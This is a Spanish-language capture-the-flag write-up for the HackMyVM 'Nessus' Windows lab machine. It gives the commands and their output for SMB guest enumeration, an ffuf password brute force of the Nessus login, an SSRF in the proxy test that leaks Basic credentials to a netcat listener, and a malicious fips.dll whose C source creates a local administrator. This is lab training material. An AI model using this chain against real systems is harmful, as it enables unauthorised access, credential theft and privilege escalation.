cd ~/blog

~/writeups/hmv/135-nessus.md

135 - Nessus

easy Windows hmv 14-08-2025
SMB guest read (PDF / user disclosure)Nessus login brute forceProxy server SSRF credential leakNessus service DLL hijacking
hackmyvm.eu/machines/machine.php?vm=Nessus

~1 min de lectura


Enumeramos puertos (Windows con Nessus en 8834):

 nmap -sCV -p 135,139,445,5985,8834,47001,... -oN 02-targeted.txt 10.32.32.49
...
445/tcp   open  microsoft-ds?
5985/tcp  open  http               Microsoft HTTPAPI httpd 2.0
8834/tcp  open  ssl/nessus-xmlrpc?
| ssl-cert: Subject: commonName=WIN-C05BOCC7F0H/organizationName=Nessus Users United/...
...

Listamos los recursos compartidos por SMB con el usuario guest y vemos un share Documents:

 smbclient -L //10.32.32.49/ -U guest
	Sharename       Type      Comment
	---------       ----      -------
	ADMIN$          Disk      Remote Admin
	C$              Disk      Default share
	Documents       Disk
	IPC$            IPC       Remote IPC

Accedemos al share y descargamos dos PDFs (informes de Nessus); en los metadatos de uno aparece el autor Jose:

 smbclient //10.32.32.49/Documents -U guest
smb: \> get "My Basic Network Scan_hwhm7q.pdf"
smb: \> get "Web Application Tests_f6jg9t.pdf"

 exiftool Web\ Application\ Tests_f6jg9t.pdf
...
Author  : Jose
...

Hacemos un login de prueba interceptando con Burp para identificar el endpoint de autenticación (POST /session con {"username":...,"password":...}) y le aplicamos fuerza bruta con ffuf:

 ffuf -u 'https://10.32.32.49:8834/session' -w ~/Documentos/wordlists/rockyou.txt -d '{"username":"jose","password":"FUZZ"}' -H 'Content-Type: application/json' -fs 31
...
tequiero                [Status: 200, ...]
...

Dentro de Nessus hay un usuario nesus con contraseña oculta. En la configuración de Proxy Server abusamos de un SSRF: ponemos nuestra IP como host y, al pulsar "Test Proxy Server", Nessus nos envía las credenciales en la cabecera Proxy-Authorization:

 ncat -nlvp 4321
Ncat: Connection from 10.32.32.49:49839.
CONNECT plugins.nessus.org:443 HTTP/1.1
Proxy-Authorization: Basic bmVzdXM6WiNKdVhIJHBoLTt2QCxYJm1WKQ==
...

 echo 'bmVzdXM6WiNKdVhIJHBoLTt2QCxYJm1WKQ==' | base64 -d
nesus:Z#JuXH$ph-;v@,X&mV)

Con esas credenciales entramos por evil-winrm y obtenemos la primera flag (si da error de autenticación, es porque la contraseña expiró y hay que restablecerla manualmente en la máquina):

 evil-winrm -u nesus -i 10.32.32.49 -p 'Z#JuXH$ph-;v@,X&mV)'
*Evil-WinRM* PS C:\Users\nesus\Documents>

Para escalar, hacemos DLL hijacking del servicio de Nessus (que corre como SYSTEM). Compilamos una DLL maliciosa que crea un usuario administrador:

❯ cat pwned.c
#include <stdlib.h>
#include <windows.h>
BOOL APIENTRY DllMain(HANDLE hModule, DWORD ul_reason_for_call, LPVOID lpReserved) {
  switch (ul_reason_for_call) {
  case DLL_PROCESS_ATTACH:
    system("net user pwned pwned /add");
    system("net localgroup administrators pwned /add");
    system("net localgroup 'remote management' pwned /add");
    break;
  ...
  }
  return TRUE;
}

La compilamos con el nombre de una DLL que carga Nessus (fips.dll), reemplazamos la original y reiniciamos:

 x86_64-w64-mingw32-gcc pwned.c --shared -o fips.dll

*Evil-WinRM* PS C:\Program Files\Tenable\Nessus> mv fips.dll fips.dll.bak
*Evil-WinRM* PS C:\Program Files\Tenable\Nessus> upload fips.dll

Tras el reinicio, el usuario pwned es administrador local:

 evil-winrm -u pwned -i 10.32.32.49 -p 'pwned'
*Evil-WinRM* PS C:\Users\pwned\Documents> whoami /all
...
BUILTIN\Administrators ...

Obtenemos nuestra flag.

Fin.

Machine rooted ✓

user & root flags capturados — redactados en el sitio público

// relacionados